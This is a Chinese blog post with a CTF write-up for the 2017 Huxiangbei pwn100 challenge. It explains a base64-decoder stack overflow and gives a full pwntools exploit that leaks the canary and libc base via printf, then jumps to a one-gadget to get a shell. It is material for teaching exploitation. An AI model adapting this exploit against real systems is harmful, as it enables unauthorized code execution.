2017湖湘杯pwn100的wp

版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/niexinming/article/details/78681846

湖湘杯的pwn比赛很有趣,我做了pwns100的题目,感觉不错,我把wp分享出来,pwns的下载链接是:http://download.csdn.net/download/niexinming/10139497
把pwns100直接拖入ida中:
main函数:
image
base64解码函数
image
输入函数
image
可以看到read可以输入的字符串可以长达0x200个,这里可造成缓冲区溢出漏洞
这个程序很简单,输入base64字符串输出base64解码之后的字符串
先运行一下程序看一下这个程序干了啥
image
再看看程序开启了哪些保护:
image

因为这个程序开了Canary,这个题目的要利用printf泄露这个程序中的Canary,然后再泄露libc的基地址,最后利用溢出重新布置栈空间getshell,因为每次fork,子进程复制父进程的数据空间(数据段)、栈和堆,父、子进程共享正文段。也就是说,对于程序中的数据,子进程要复制一份,但是对于指令,子进程并不复制而是和父进程共享,具体可参考https://www.cnblogs.com/bwangel23/p/4190043.html这个文章,所以虽然在泄露Canary或者libc的时候使子进程崩溃了,但是不会影响父进程的稳定性
所以我的exp是

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Auther__ = 'niexinming'

from pwn import *
import base64
context(terminal = ['gnome-terminal', '-x', 'sh', '-c'], arch = 'i386', os = 'linux', log_level = 'debug')

def debug(addr = '0x08048B09'):
    raw_input('debug:')
    gdb.attach(io, "b *" + addr)

local_MAGIC = 0x0003AC69

io = process('/home/h11p/hackme/huxiangbei/pwns')

#io = remote('104.224.169.128', 18887)

#debug()

#getCanary
payload = 'a'*0x102
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
myCanary=io.recv()[268:271]
Canary="\x00"+myCanary
print "Canary:"+hex(u32(Canary))

#getlibc
#debug()
payload = 'a'*0x151
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))
io.recvline()
mylibc=io.recv()[347:351]
base_libc=u32(mylibc)-0x18637
print "mylibc_addr:"+hex(base_libc)


#pwn
#debug()
MAGIC_addr=local_MAGIC+base_libc
payload = 'a'*0x101+Canary+"a"*0xc+p32(MAGIC_addr)
io.recvuntil('May be I can know if you give me some data[Y/N]\n')
io.sendline('Y')
io.recvuntil('Give me some datas:\n')
io.send(base64.b64encode(payload))


io.interactive()
io.close()

我讲解一下如何获取Canary,因为输入的输入数据会被printf输出,遇到0x00的时候停止输出,如果输入的输入刚刚好覆盖到Canary前面就可以用printf输出Canary了,但是Canary后两位是0x00,所以得到输出之后要补足后两位的0x00
image
同理也可以用这种方法计算出__libc_start_main和libc的基地址
image

计算出Canary的值和基地址后,就可以通过溢出让程序程序跳转到MAGIC去了,就可以getshell了,至于MAGIC是啥,大家可以翻一下我以前写的文章:http://blog.csdn.net/niexinming/article/details/78512274
最后的效果是:
image

没有更多推荐了,返回首页